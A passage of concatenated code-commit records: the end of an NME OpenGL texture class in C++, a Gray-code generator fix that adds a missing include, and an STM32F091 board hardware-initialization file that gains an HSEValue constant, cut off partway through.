UpToPower2(mPixelHeight);\n mCanRepeat = IsPower2(w) && IsPower2(h);\n \n \/\/__android_log_print(ANDROID_LOG_ERROR, \"NME\", \"NewTexure %d %d\", w, h);\n\n mTextureWidth = w;\n mTextureHeight = h;\n bool copy_required = w!=mPixelWidth || h!=mPixelHeight;\n\n Surface *load = inSurface;\n if (copy_required)\n {\n int pw = inSurface->Format()==pfAlpha ? 1 : 4;\n load = new SimpleSurface(w,h,inSurface->Format());\n load->IncRef();\n for(int y=0;y<mPixelHeight;y++)\n {\n const uint8 *src = inSurface->Row(y);\n uint8 *dest= (uint8 *)load->Row(y);\n memcpy(dest,src,mPixelWidth*pw);\n if (w>mPixelWidth)\n memcpy(dest+mPixelWidth*pw,dest+(mPixelWidth-1)*pw,pw);\n }\n if (h!=mPixelHeight)\n {\n memcpy((void *)load->Row(mPixelHeight),load->Row(mPixelHeight-1),\n (mPixelWidth + (w!=mPixelWidth))*pw);\n }\n }\n\n #ifdef IPHONE\n uint8 *dest;\n \n if ( inSurface->Format() == pfARGB4444 ) {\n int size = mTextureWidth * mTextureHeight;\n dest = (uint8 *)malloc( size * 2 );\n \n const uint8 *src = (uint8 *)load->Row( 0 );\n \n for ( int c = 0; c < size; c++ ) {\n\n uint8 srca = src[ c * 4 ] \/ 16;\n uint8 srcb = src[ c * 4 + 1 ] \/ 16;\n uint8 srcc = src[ c * 4 + 2 ] \/ 16;\n uint8 srcd = src[ c * 4 + 3 ] \/ 16;\n\n dest[ c * 2 ] = ( srcc << 4 | srcd );\n dest[ c * 2 + 1 ] = ( srca << 4 | srcb );\n }\n } else if ( inSurface->Format() == pfRGB565 ) {\n int size = mTextureWidth * mTextureHeight;\n dest = (uint8 *)malloc( size * 2 );\n \n const uint8 *src = (uint8 *)load->Row( 0 );\n \n for ( int c = 0; c < size; c++ ) {\n uint8 srca = src[ c * 4 ] \/ 8;\n uint8 srcb = src[ c * 4 + 1 ] \/ 4;\n uint8 srcc = src[ c * 4 + 2 ] \/ 8;\n \n \/\/pack into 565\n unsigned int combined = (srca << 11) | (srcb << 5) | (srcc << 0);\n\n \/\/write to the buffer\n dest[ c * 2 +1] = combined >> 8;\n dest[ c * 2 ] = combined & 0x00FF;\n }\n }\n #endif\n\n\n glGenTextures(1, &mTextureID);\n \/\/ __android_log_print(ANDROID_LOG_ERROR, \"NME\", \"CreateTexture %d (%dx%d)\",\n \/\/ mTextureID, mPixelWidth, mPixelHeight);\n glBindTexture(GL_TEXTURE_2D,mTextureID);\n mRepeat = mCanRepeat;\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, mRepeat ? GL_REPEAT : GL_CLAMP_TO_EDGE );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, mRepeat ? GL_REPEAT : GL_CLAMP_TO_EDGE );\n\n PixelFormat fmt = load->Format();\n GLuint src_format = fmt==pfAlpha ? GL_ALPHA : GL_RGBA;\n GLuint store_format = src_format;\n \n \n #ifdef IPHONE\n if ( inSurface->Format() == pfARGB4444 ) {\n glTexImage2D(GL_TEXTURE_2D, 0, store_format, w, h, 0, src_format,\n GL_UNSIGNED_SHORT_4_4_4_4, dest );\n \n free( dest );\n } else if ( inSurface->Format() == pfRGB565 ) {\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, w, h, 0, GL_RGB,\n GL_UNSIGNED_SHORT_5_6_5, dest );\n \n free( dest );\n } else\n #endif\n \n glTexImage2D(GL_TEXTURE_2D, 0, store_format, w, h, 0, src_format,\n GL_UNSIGNED_BYTE, load->Row(0) );\n\n mSmooth = true;\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n #ifdef GPH\n glTexEnvx(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);\n #else\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);\n #endif\n\n\n if (copy_required)\n {\n load->DecRef();\n }\n\n \/\/int err = glGetError();\n\t \/\/printf (\"GL texture error: %i\", err);\n }\n ~OGLTexture()\n {\n if (mTextureID && mContextVersion==gTextureContextVersion)\n {\n \/\/__android_log_print(ANDROID_LOG_ERROR, \"NME\", \"DeleteTexture %d (%dx%d)\",\n \/\/mTextureID, mPixelWidth, mPixelHeight);\n glDeleteTextures(1,&mTextureID);\n }\n }\n\n void Bind(class Surface *inSurface,int inSlot)\n {\n glBindTexture(GL_TEXTURE_2D,mTextureID);\n if (gTextureContextVersion!=mContextVersion)\n {\n mContextVersion = gTextureContextVersion;\n mDirtyRect = Rect(inSurface->Width(),inSurface->Height());\n }\n if (mDirtyRect.HasPixels())\n {\n \/\/__android_log_print(ANDROID_LOG_INFO, \"NME\", \"UpdateDirtyRect! %d %d\",\n \/\/mPixelWidth, mPixelHeight);\n\n PixelFormat fmt = inSurface->Format();\n GLuint src_format = fmt==pfAlpha ? GL_ALPHA : GL_RGBA;\n glGetError();\n const uint8 *p0 = \n inSurface->Row(mDirtyRect.y) + mDirtyRect.x*inSurface->BytesPP();\n #if defined(NME_GLES)\n for(int y=0;y<mDirtyRect.h;y++)\n {\n glTexSubImage2D(GL_TEXTURE_2D, 0, mDirtyRect.x,mDirtyRect.y + y,\n mDirtyRect.w, 1,\n src_format, GL_UNSIGNED_BYTE,\n p0 + y*inSurface->GetStride());\n }\n #else\n glPixelStorei(GL_UNPACK_ROW_LENGTH, inSurface->Width());\n glTexSubImage2D(GL_TEXTURE_2D, 0, mDirtyRect.x,mDirtyRect.y,\n mDirtyRect.w, mDirtyRect.h,\n src_format, GL_UNSIGNED_BYTE,\n p0);\n glPixelStorei(GL_UNPACK_ROW_LENGTH,0);\n #endif\n int err = glGetError();\n mDirtyRect = Rect();\n }\n }\n\n void BindFlags(bool inRepeat,bool inSmooth)\n {\n if (!mCanRepeat) inRepeat = false;\n if (mRepeat!=inRepeat)\n {\n mRepeat = inRepeat;\n if (mRepeat)\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT );\n }\n else\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE );\n }\n }\n\n if (mSmooth!=inSmooth)\n {\n mSmooth = inSmooth;\n if (mSmooth)\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n }\n else\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n }\n }\n\n }\n\n\n UserPoint PixelToTex(const UserPoint &inPixels)\n {\n return UserPoint(inPixels.x\/mTextureWidth, inPixels.y\/mTextureHeight);\n }\n\n UserPoint TexToPaddedTex(const UserPoint &inTex)\n {\n return UserPoint(inTex.x*mPixelWidth\/mTextureWidth, inTex.y*mPixelHeight\/mTextureHeight);\n }\n\n\n\n GLuint mTextureID;\n bool mCanRepeat;\n bool mRepeat;\n bool mSmooth;\n int mPixelWidth;\n int mPixelHeight;\n int mTextureWidth;\n int mTextureHeight;\n};\n\n\nTexture *OGLCreateTexture(Surface *inSurface,unsigned int inFlags)\n{\n return new OGLTexture(inSurface,inFlags);\n}\n\n\n} \/\/ end namespace nme\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n#include <vector>\n\n\/\/ Algorithm to be tested\n\nunsigned corresponding_pow(unsigned num)\n{\n for ( ; (num & (num -1)) != 0 ; num &= num -1) {}\n return num;\n}\n\nstd::vector<unsigned> build_grays(unsigned num)\n{\n if (num == 0)\n {\n return {};\n }\n std::vector<unsigned> codes(1);\n codes.reserve(num);\n \/\/ Need to preallocate necessary memory in order to prevent from:\n \/\/ If the new size() is greater than capacity() then all iterators and references (including the past-the-end iterator) are invalidated. Otherwise only the past-the-end iterator is invalidated.\n \n unsigned corresponding = corresponding_pow(num);\n unsigned more = 1;\n while (codes.size() < corresponding)\n {\n std::transform(codes.rbegin(), codes.rend()\n , std::back_inserter(codes)\n , [more](auto prev){ return prev + more; });\n more <<= 1;\n }\n std::transform(codes.rbegin(), std::next(codes.rbegin(), num - corresponding)\n , std::back_inserter(codes)\n , [more](auto prev){ return prev + more; });\n return codes;\n}\n\n#include \"tests.hpp\"\n\n<commit_msg>[visual studio] Fix bit-manipulation\/gray-code<commit_after>#include <algorithm>\n#include <iterator>\n#include <vector>\n\n\/\/ Algorithm to be tested\n\nunsigned corresponding_pow(unsigned num)\n{\n for ( ; (num & (num -1)) != 0 ; num &= num -1) {}\n return num;\n}\n\nstd::vector<unsigned> build_grays(unsigned num)\n{\n if (num == 0)\n {\n return {};\n }\n std::vector<unsigned> codes(1);\n codes.reserve(num);\n \/\/ Need to preallocate necessary memory in order to prevent from:\n \/\/ If the new size() is greater than capacity() then all iterators and references (including the past-the-end iterator) are invalidated. Otherwise only the past-the-end iterator is invalidated.\n \n unsigned corresponding = corresponding_pow(num);\n unsigned more = 1;\n while (codes.size() < corresponding)\n {\n std::transform(codes.rbegin(), codes.rend()\n , std::back_inserter(codes)\n , [more](auto prev){ return prev + more; });\n more <<= 1;\n }\n std::transform(codes.rbegin(), std::next(codes.rbegin(), num - corresponding)\n , std::back_inserter(codes)\n , [more](auto prev){ return prev + more; });\n return codes;\n}\n\n#include \"tests.hpp\"\n\n<|endoftext|>"} {"text":"<commit_before>\/** \\copyright\n * Copyright (c) 2018, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file HwInit.cxx\n *\n * This file represents the hardware initialization for the STM32F091RC Nucelo\n * board with the DevKit IO board plugged in.\n *\n * @author Balazs Racz\n * @date April 18, 2018\n *\/\n\n#include <new>\n#include <cstdint>\n\n#include \"stm32f0xx_hal_rcc.h\"\n#include \"stm32f0xx_hal_flash.h\"\n#include \"stm32f0xx_hal_gpio.h\"\n#include \"stm32f0xx_hal_gpio_ex.h\"\n#include \"stm32f0xx_hal_dma.h\"\n#include \"stm32f0xx_hal_tim.h\"\n#include \"stm32f0xx_hal.h\"\n\n#include \"os\/OS.hxx\"\n#include \"Stm32Uart.hxx\"\n#include \"Stm32Can.hxx\"\n#include \"Stm32SPI.hxx\"\n#include \"Stm32EEPROMEmulation.hxx\"\n#include \"Stm32PWM.hxx\"\n#include \"hardware.hxx\"\n\n\/** override stdin *\/\nconst char *STDIN_DEVICE = \"\/dev\/ser0\";\n\n\/** override stdout *\/\nconst char *STDOUT_DEVICE = \"\/dev\/ser0\";\n\n\/** override stderr *\/\nconst char *STDERR_DEVICE = \"\/dev\/ser0\";\n\n\/** UART 0 serial driver instance *\/\nstatic Stm32Uart uart0(\"\/dev\/ser0\", USART2, USART2_IRQn);\n\n\/** CAN 0 CAN driver instance *\/\nstatic Stm32Can can0(\"\/dev\/can0\");\n\n\/** EEPROM emulation driver. The file size might be made bigger. *\/\nstatic Stm32EEPROMEmulation eeprom0(\"\/dev\/eeprom\", 1900);\n\n\/** How many bytes of flash should hold the entire dataset. Must be an integer\n * multiple of the minimum erase length (which is the flash page length, for\n * the STM32F0 it is 2 kbytes). The file size maximum is half this value. *\/\nconst size_t EEPROMEmulation::SECTOR_SIZE = 4096;\n\nStm32PWMGroup servo_timer(TIM3,\n \/*prescaler=*\/ (servoPwmCountPerMs * 6 + 65535) \/ 65536,\n \/*period_counts=*\/ servoPwmCountPerMs * 6);\n\nextern PWM* const servo_channels[];\n\/\/\/ The order of these channels follows the schematic arrangement of MCU pins\n\/\/\/ to logical servo ports.\nPWM * const servo_channels[4] = { \/\/\n Stm32PWMGroup::get_channel(&servo_timer, 4),\n Stm32PWMGroup::get_channel(&servo_timer, 2),\n Stm32PWMGroup::get_channel(&servo_timer, 3),\n Stm32PWMGroup::get_channel(&servo_timer, 1)};\n\n\/\/\/ Recursive mutex for SPI1 peripheral.\nOSMutex spi1_lock(true);\n\nstatic void noop_cs() {\n}\n\n\/\/\/ SPI1 driver for io-board peripherals\nstatic Stm32SPI spi1_0(\n \"\/dev\/spi1.ioboard\", SPI1, SPI1_IRQn, &noop_cs, &noop_cs, &spi1_lock);\n\n\nstatic void spi1_ext_cs_assert() {\n EXT_CS_Pin::set(false);\n}\n\nstatic void spi1_ext_cs_deassert() {\n EXT_CS_Pin::set(true);\n}\n\n\/\/\/ SPI1 driver for the expansion port.\nstatic Stm32SPI spi1_1(\"\/dev\/spi1.ext\", SPI1, SPI1_IRQn, &spi1_ext_cs_assert,\n &spi1_ext_cs_deassert, &spi1_lock);\n\n\/\/\/ SPI2 driver for the onboard input ports.\nstatic Stm32SPI spi2(\"\/dev\/spi2\", SPI2, SPI2_IRQn, &noop_cs, &noop_cs, nullptr);\n\nextern \"C\" {\n\n\/** Blink LED *\/\nuint32_t blinker_pattern = 0;\nstatic uint32_t rest_pattern = 0;\n\nvoid hw_set_to_safe(void)\n{\n}\n\nvoid reboot()\n{\n NVIC_SystemReset();\n}\n\nvoid resetblink(uint32_t pattern)\n{\n blinker_pattern = pattern;\n rest_pattern = pattern ? 1 : 0;\n BLINKER_RAW_Pin::set(pattern ? true : false);\n \/* make a timer event trigger immediately *\/\n}\n\nvoid setblink(uint32_t pattern)\n{\n resetblink(pattern);\n}\n\n\nconst uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9};\nconst uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4};\n\n\nvoid timer14_interrupt_handler(void)\n{\n \/\/\n \/\/ Clear the timer interrupt.\n \/\/\n TIM14->SR = ~TIM_IT_UPDATE;\n\n \/\/ Set output LED.\n BLINKER_RAW_Pin::set(rest_pattern & 1);\n\n \/\/ Shift and maybe reset pattern.\n rest_pattern >>= 1;\n if (!rest_pattern)\n {\n rest_pattern = blinker_pattern;\n }\n}\n\nvoid diewith(uint32_t pattern)\n{\n \/\/ vPortClearInterruptMask(0x20);\n asm(\"cpsie i\\n\");\n\n resetblink(pattern);\n while (1)\n ;\n}\n\n\/** Setup the system clock *\/\nstatic void clock_setup(void)\n{\n \/* reset clock configuration to default state *\/\n RCC->CR = RCC_CR_HSITRIM_4 | RCC_CR_HSION;\n while (!(RCC->CR & RCC_CR_HSIRDY))\n ;\n\n#define USE_EXTERNAL_8_MHz_CLOCK_SOURCE 1\n\/* configure PLL: 8 MHz * 6 = 48 MHz *\/\n#if USE_EXTERNAL_8_MHz_CLOCK_SOURCE\n RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP;\n while (!(RCC->CR & RCC_CR_HSERDY))\n ;\n RCC->CFGR = RCC_CFGR_PLLMUL6 | RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_SW_HSE;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_HSE))\n ;\n#else\n RCC->CFGR = RCC_CFGR_PLLMUL6 | RCC_CFGR_PLLSRC_HSI_PREDIV | RCC_CFGR_SW_HSI;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_HSI))\n ;\n#endif\n \/* enable PLL *\/\n RCC->CR |= RCC_CR_PLLON;\n while (!(RCC->CR & RCC_CR_PLLRDY))\n ;\n\n \/* set PLL as system clock *\/\n RCC->CFGR = (RCC->CFGR & (~RCC_CFGR_SW)) | RCC_CFGR_SW_PLL;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL))\n ;\n}\n\n\/** Initialize the processor hardware.\n *\n * Don't depend on runtime-initialized global variables\n * in this function; these will be initialized after\n * hw_preinit in startup.c.\n *\/\nvoid hw_preinit(void)\n{\n \/* Globally disables interrupts until the FreeRTOS scheduler is up. *\/\n asm(\"cpsid i\\n\");\n\n \/* these FLASH settings enable opertion at 48 MHz *\/\n __HAL_FLASH_PREFETCH_BUFFER_ENABLE();\n __HAL_FLASH_SET_LATENCY(FLASH_LATENCY_1);\n\n \/* setup the system clock *\/\n clock_setup();\n\n \/* enable peripheral clocks *\/\n __HAL_RCC_GPIOA_CLK_ENABLE();\n __HAL_RCC_GPIOB_CLK_ENABLE();\n __HAL_RCC_GPIOC_CLK_ENABLE();\n __HAL_RCC_GPIOD_CLK_ENABLE();\n __HAL_RCC_GPIOF_CLK_ENABLE();\n __HAL_RCC_USART2_CLK_ENABLE();\n __HAL_RCC_CAN1_CLK_ENABLE();\n __HAL_RCC_TIM14_CLK_ENABLE();\n __HAL_RCC_TIM3_CLK_ENABLE();\n\n \/* setup pinmux *\/\n GPIO_InitTypeDef gpio_init;\n memset(&gpio_init, 0, sizeof(gpio_init));\n\n \/* USART2 pinmux on PA2 and PA3 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_PULLUP;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF1_USART2;\n gpio_init.Pin = GPIO_PIN_2;\n HAL_GPIO_Init(GPIOA, &gpio_init);\n gpio_init.Pin = GPIO_PIN_3;\n HAL_GPIO_Init(GPIOA, &gpio_init);\n\n \/* CAN pinmux on PB8 and PB9 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n \/\/ Disables pull-ups because this is a 5V tolerant pin.\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF4_CAN;\n gpio_init.Pin = GPIO_PIN_8;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_9;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n\n \/* SPI1 pinmux on PB3, PB4, and PB5 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF0_SPI1;\n gpio_init.Pin = GPIO_PIN_3;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_4;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_5;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n\n \/* SPI2 pinmux on PC2 (MISO2), and PB10 (SCK) *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF5_SPI2;\n gpio_init.Pin = GPIO_PIN_10;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Alternate = GPIO_AF1_SPI2;\n gpio_init.Pin = GPIO_PIN_2;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n \n GpioInit::hw_init();\n\n\n \/\/ Switches over servo timer pins to timer mode.\n \/\/ PC6-7-8-9\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF0_TIM3;\n gpio_init.Pin = GPIO_PIN_6;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_7;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_8;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_9;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n\n \/* Initializes the blinker timer. *\/\n TIM_HandleTypeDef TimHandle;\n memset(&TimHandle, 0, sizeof(TimHandle));\n TimHandle.Instance = TIM14;\n TimHandle.Init.Period = configCPU_CLOCK_HZ \/ 10000 \/ 8;\n TimHandle.Init.Prescaler = 10000;\n TimHandle.Init.ClockDivision = 0;\n TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP;\n TimHandle.Init.RepetitionCounter = 0;\n if (HAL_TIM_Base_Init(&TimHandle) != HAL_OK)\n {\n \/* Initialization Error *\/\n HASSERT(0);\n }\n if (HAL_TIM_Base_Start_IT(&TimHandle) != HAL_OK)\n {\n \/* Starting Error *\/\n HASSERT(0);\n }\n __HAL_DBGMCU_FREEZE_TIM14();\n NVIC_SetPriority(TIM14_IRQn, 0);\n NVIC_EnableIRQ(TIM14_IRQn);\n}\n\n}\n<commit_msg>Fix missing declaration on HSEValue. (#396)<commit_after>\/** \\copyright\n * Copyright (c) 2018, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file HwInit.cxx\n *\n * This file represents the hardware initialization for the STM32F091RC Nucelo\n * board with the DevKit IO board plugged in.\n *\n * @author Balazs Racz\n * @date April 18, 2018\n *\/\n\n#include <new>\n#include <cstdint>\n\n#include \"stm32f0xx_hal_rcc.h\"\n#include \"stm32f0xx_hal_flash.h\"\n#include \"stm32f0xx_hal_gpio.h\"\n#include \"stm32f0xx_hal_gpio_ex.h\"\n#include \"stm32f0xx_hal_dma.h\"\n#include \"stm32f0xx_hal_tim.h\"\n#include \"stm32f0xx_hal.h\"\n\n#include \"os\/OS.hxx\"\n#include \"Stm32Uart.hxx\"\n#include \"Stm32Can.hxx\"\n#include \"Stm32SPI.hxx\"\n#include \"Stm32EEPROMEmulation.hxx\"\n#include \"Stm32PWM.hxx\"\n#include \"hardware.hxx\"\n\n\/** override stdin *\/\nconst char *STDIN_DEVICE = \"\/dev\/ser0\";\n\n\/** override stdout *\/\nconst char *STDOUT_DEVICE = \"\/dev\/ser0\";\n\n\/** override stderr *\/\nconst char *STDERR_DEVICE = \"\/dev\/ser0\";\n\n\/** UART 0 serial driver instance *\/\nstatic Stm32Uart uart0(\"\/dev\/ser0\", USART2, USART2_IRQn);\n\n\/** CAN 0 CAN driver instance *\/\nstatic Stm32Can can0(\"\/dev\/can0\");\n\n\/** EEPROM emulation driver. The file size might be made bigger. *\/\nstatic Stm32EEPROMEmulation eeprom0(\"\/dev\/eeprom\", 1900);\n\n\/** How many bytes of flash should hold the entire dataset. Must be an integer\n * multiple of the minimum erase length (which is the flash page length, for\n * the STM32F0 it is 2 kbytes). The file size maximum is half this value. *\/\nconst size_t EEPROMEmulation::SECTOR_SIZE = 4096;\n\nStm32PWMGroup servo_timer(TIM3,\n \/*prescaler=*\/ (servoPwmCountPerMs * 6 + 65535) \/ 65536,\n \/*period_counts=*\/ servoPwmCountPerMs * 6);\n\nextern PWM* const servo_channels[];\n\/\/\/ The order of these channels follows the schematic arrangement of MCU pins\n\/\/\/ to logical servo ports.\nPWM * const servo_channels[4] = { \/\/\n Stm32PWMGroup::get_channel(&servo_timer, 4),\n Stm32PWMGroup::get_channel(&servo_timer, 2),\n Stm32PWMGroup::get_channel(&servo_timer, 3),\n Stm32PWMGroup::get_channel(&servo_timer, 1)};\n\n\/\/\/ Recursive mutex for SPI1 peripheral.\nOSMutex spi1_lock(true);\n\nstatic void noop_cs() {\n}\n\n\/\/\/ SPI1 driver for io-board peripherals\nstatic Stm32SPI spi1_0(\n \"\/dev\/spi1.ioboard\", SPI1, SPI1_IRQn, &noop_cs, &noop_cs, &spi1_lock);\n\n\nstatic void spi1_ext_cs_assert() {\n EXT_CS_Pin::set(false);\n}\n\nstatic void spi1_ext_cs_deassert() {\n EXT_CS_Pin::set(true);\n}\n\n\/\/\/ SPI1 driver for the expansion port.\nstatic Stm32SPI spi1_1(\"\/dev\/spi1.ext\", SPI1, SPI1_IRQn, &spi1_ext_cs_assert,\n &spi1_ext_cs_deassert, &spi1_lock);\n\n\/\/\/ SPI2 driver for the onboard input ports.\nstatic Stm32SPI spi2(\"\/dev\/spi2\", SPI2, SPI2_IRQn, &noop_cs, &noop_cs, nullptr);\n\nextern \"C\" {\n\n\/** Blink LED *\/\nuint32_t blinker_pattern = 0;\nstatic uint32_t rest_pattern = 0;\n\nvoid hw_set_to_safe(void)\n{\n}\n\nvoid reboot()\n{\n NVIC_SystemReset();\n}\n\nvoid resetblink(uint32_t pattern)\n{\n blinker_pattern = pattern;\n rest_pattern = pattern ? 1 : 0;\n BLINKER_RAW_Pin::set(pattern ? true : false);\n \/* make a timer event trigger immediately *\/\n}\n\nvoid setblink(uint32_t pattern)\n{\n resetblink(pattern);\n}\n\n\nconst uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9};\nconst uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4};\nconst uint32_t HSEValue = 8000000;\n\nvoid timer14_interrupt_handler(void)\n{\n \/\/\n \/\/ Clear the timer interrupt.\n \/\/\n TIM14->SR = ~TIM_IT_UPDATE;\n\n \/\/ Set output LED.\n BLINKER_RAW_Pin::set(rest_pattern & 1);\n\n \/\/ Shift and maybe reset pattern.\n rest_pattern >>= 1;\n if (!rest_pattern)\n {\n rest_pattern = blinker_pattern;\n }\n}\n\nvoid diewith(uint32_t pattern)\n{\n \/\/ vPortClearInterruptMask(0x20);\n asm(\"cpsie i\\n\");\n\n resetblink(pattern);\n while (1)\n ;\n}\n\n\/** Setup the system clock *\/\nstatic void clock_setup(void)\n{\n \/* reset clock configuration to default state *\/\n RCC->CR = RCC_CR_HSITRIM_4 | RCC_CR_HSION;\n while (!(RCC->CR & RCC_CR_HSIRDY))\n ;\n\n#define USE_EXTERNAL_8_MHz_CLOCK_SOURCE 1\n\/* configure PLL: 8 MHz * 6 = 48 MHz *\/\n#if USE_EXTERNAL_8_MHz_CLOCK_SOURCE\n RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP;\n while (!(RCC->CR & RCC_CR_HSERDY))\n ;\n RCC->CFGR = RCC_CFGR_PLLMUL6 | RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR_SW_HSE;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_HSE))\n ;\n#else\n RCC->CFGR = RCC_CFGR_PLLMUL6 | RCC_CFGR_PLLSRC_HSI_PREDIV | RCC_CFGR_SW_HSI;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_HSI))\n ;\n#endif\n \/* enable PLL *\/\n RCC->CR |= RCC_CR_PLLON;\n while (!(RCC->CR & RCC_CR_PLLRDY))\n ;\n\n \/* set PLL as system clock *\/\n RCC->CFGR = (RCC->CFGR & (~RCC_CFGR_SW)) | RCC_CFGR_SW_PLL;\n while (!((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL))\n ;\n}\n\n\/** 